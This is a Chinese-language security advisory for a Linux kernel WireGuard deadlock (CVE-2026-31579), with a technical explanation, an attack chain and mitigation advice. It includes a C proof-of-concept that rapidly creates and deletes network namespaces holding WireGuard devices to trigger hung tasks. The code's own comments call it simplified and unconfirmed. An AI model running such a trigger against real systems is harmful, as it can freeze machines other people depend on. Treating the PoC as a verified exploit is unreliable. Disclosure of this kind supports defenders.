IPBUF安全漏洞报告
English
CVE-2026-31579 CVSS 5.5 中危

CVE-2026-31579 Linux内核WireGuard死锁漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31579
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelWireGuard拒绝服务DoS死锁Race Condition

漏洞概述

Linux内核WireGuard模块存在拒绝服务漏洞。由于`wg_netns_pre_exit`在pernet回调中手动获取`rtnl_lock`,若其他线程持有该锁将导致死锁。这使得cleanup_net工作队列无限期阻塞,造成系统任务挂起,严重影响系统的可用性与稳定性。

技术细节

该漏洞源于Linux内核WireGuard模块在网络命名空间清理过程中的锁机制设计缺陷。具体而言,`wg_netns_pre_exit`函数在pernet的`.pre_exit`回调中手动调用`rtnl_lock()`。如果在执行过程中,另一个线程已经持有了`rtnl_mutex`互斥锁,负责清理网络命名空间的`cleanup_net`工作队列将会在`wg_netns_pre_exit`处陷入无限期等待,导致系统出现“hung task”和拒绝服务。修复方案将该逻辑迁移至`.exit_rtnl`回调,利用内核框架在执行回调时已持有RTNL锁的特性,避免了重复加锁引发的死锁风险,确保网络命名空间的顺利销毁。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统的低权限访问权限。
STEP 2
步骤2
攻击者创建并配置包含WireGuard设备的网络命名空间。
STEP 3
步骤3
攻击者触发网络命名空间的销毁操作,调用`wg_netns_pre_exit`。
STEP 4
步骤4
由于锁竞争,`cleanup_net`工作队列在获取`rtnl_lock`时阻塞,导致死锁。
STEP 5
步骤5
系统出现任务挂起,资源耗尽,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31579: WireGuard Deadlock in wg_netns_pre_exit * This script attempts to trigger the race condition by rapidly * creating and destroying network namespaces with WireGuard devices. * Compilation: gcc -o poc_cve_2026_31579 poc_cve_2026_31579.c * Usage: ./poc_cve_2026_31579 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> void trigger_vulnerability() { char cmd[256]; int i; // Loop to stress the netns pre_exit path for (i = 0; i < 500; i++) { // Create a network namespace snprintf(cmd, sizeof(cmd), "ip netns add test_ns_%d", i); if (system(cmd) != 0) continue; // Add a dummy WireGuard device (requires wireguard-tools) // This setup is simplified; real exploitation might need specific config snprintf(cmd, sizeof(cmd), "ip netns exec test_ns_%d ip link add wg0 type wireguard", i); system(cmd); // Delete the namespace to trigger wg_netns_pre_exit snprintf(cmd, sizeof(cmd), "ip netns delete test_ns_%d", i); system(cmd); } } int main() { printf("[+] Attempting to trigger CVE-2026-31579...\n"); printf("[+] Monitor system for hung tasks or kernel warnings.\n"); // Fork multiple processes to increase contention on rtnl_lock for (int i = 0; i < 5; i++) { if (fork() == 0) { trigger_vulnerability(); exit(0); } } // Wait for children while (wait(NULL) > 0); printf("[-] PoC execution finished.\n"); return 0; }

影响范围

Linux Kernel (Mainline)
Linux Kernel (Stable branches prior to commits 1c52ef0, 60a25ef, 9a9e69, a1d0f6)

防御指南

临时缓解措施
限制非特权用户创建网络命名空间的权限,或者在未修复前禁用WireGuard内核模块以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表